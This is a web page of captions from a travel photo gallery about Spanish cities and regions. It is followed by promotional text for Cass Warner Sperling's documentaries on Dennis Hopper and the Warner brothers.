Toledo's distinctive twisted streets and covered passageways evoke the city's golden years as part of the Arab Empire. El Greco, the flamboyant Greek painter, spent years capturing the beauty of the city and its occupants.
Running of the Bulls, Pamplona
Photograph by Alvaro Barrientos/Associated Press
Pamplona's festival of San Fermín gained international renown after Ernest Hemingway wrote about it in The Sun Also Rises. The sometimes deadly "running of the bulls" happens each morning of the nine-day festival.
Guggenheim Museum Bilbao
Photograph by Javier Larrea/photolibrary.com
Bilbao was just a small industrial town overflowing with immigrants—until it built the Guggenheim Museum Bilbao, designed by Frank Gehry. Now it's a bustling tourism center, an inspiration for mayors around the world hoping for a "Gehry effect."
Photograph by Keith Ladzinski, Aurora
A small bridge spans a stream near the village of Rodellar in northern Spain, a region renowned for its climbing. And the canyons of the Sierra de Guara offer superb canyoneering.
Valencia Aquarium
Photograph by Laura Dos Santos, My Shot
Valencia's arts and science complex is dominated by L'Oceanogràfic, the largest aquarium in Europe, with ten different underwater habitats. The complex also has Europe's largest planetarium, an IMAX theater, and an opera house.
Mallorca Market
Photograph by Holger Leue/photolibrary.com
Customers wait in a busy shop in a market in Palma, Mallorca. The island is one of the four major Balearic Islands—the others are Menorca, Ibiza, and Formentera—and it was colonized by the Romans in the second century B.C. The Romans also founded Palma, the principal city of the Balearics.
Plaza de Mayor, Salamanca
Photograph by Michaela Klusman, My Shot
The city of Salamanca is best known for two things: majestic cathedrals and the many students attending one of three universities. The University of Salamanca was founded in 1218, which makes it the third oldest university in Europe, after Bologna and Oxford.
Costa Brava
Photograph by Michael Cadieux, My Shot
Calella de Palafrugell is one of several fishing villages turned resort on Catalonia's Costa Brava, which means "rugged coast." Many fishing towns became resorts after Generalissimo Francisco Franco began encouraging tourism in the 1950s.
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Warner Sisters, Inc., Founded by Cass Warner Sperling
From Emmy® Award nominee and acclaimed filmmaker Cass Warner Sperling comes the fascinating inside story of one of Hollywood's most compelling and enigmatic personalities.Dennis Hopper captured the world's attention in his first screen appearance and never let it go. A restless maverick and sometimes self-destructive genius, he became revered—and reviled—for his perfectionism. But few people understood the man behind the madman who brought an almost psychotic intensity to roles in EASY RIDER, APOCALPYSE NOW, BLUE VELVET, and dozens of other masterpieces.Producer/director/writer Cass Warner Sperling takes viewers into the creative mind of Dennis Hopper with this insightful and deeply personal interview conducted in Hopper's Venice Beach home before his passing. Cass combines the candid conversation shot in 2007 with archival footage and photos to craft a revealing portrait of the actor, director, writer, and artist who defined a generation and created one of the film industry's most enduring and revolutionary legacies. DIRECTED BY Cass Warner Sperling WRITTEN BY Cass Warner Sperling and Susan Morgan Cooper EDITED BY Tyler MacIntyre & associate editor - Carrie Schultz PRODUCED BY Cass Warner Sperling and Susan Morgan Cooper
THE BROTHERS WARNERDocumentary Looks at Hollywood Family Dynasty; Released on DVD from Warner Home Video
Accolades for THE WARNERS BROTHER Documentary
"The Brothers Warner' is a well-made, fascinating documentary. Cass has not only honored her grandfather's legacy with this work, she's also paid homage to one of the guiding principles of the four Warner brothers who founded the studio by producing a film that will educate, entertain and enlighten audiences." Barry Meyer - Chairman and CEO of Warner Bros. Entertainment
"I was riveted by this story. It's a wonderful, intimate, deeply interesting film about the actual Warner brothers, illuminating the personal history behind the studio." Susan Lacy, creator and executive producer of AMERICAN MASTERS.
The Brothers Warner, A Feature-Length Documentary by Cass Warner
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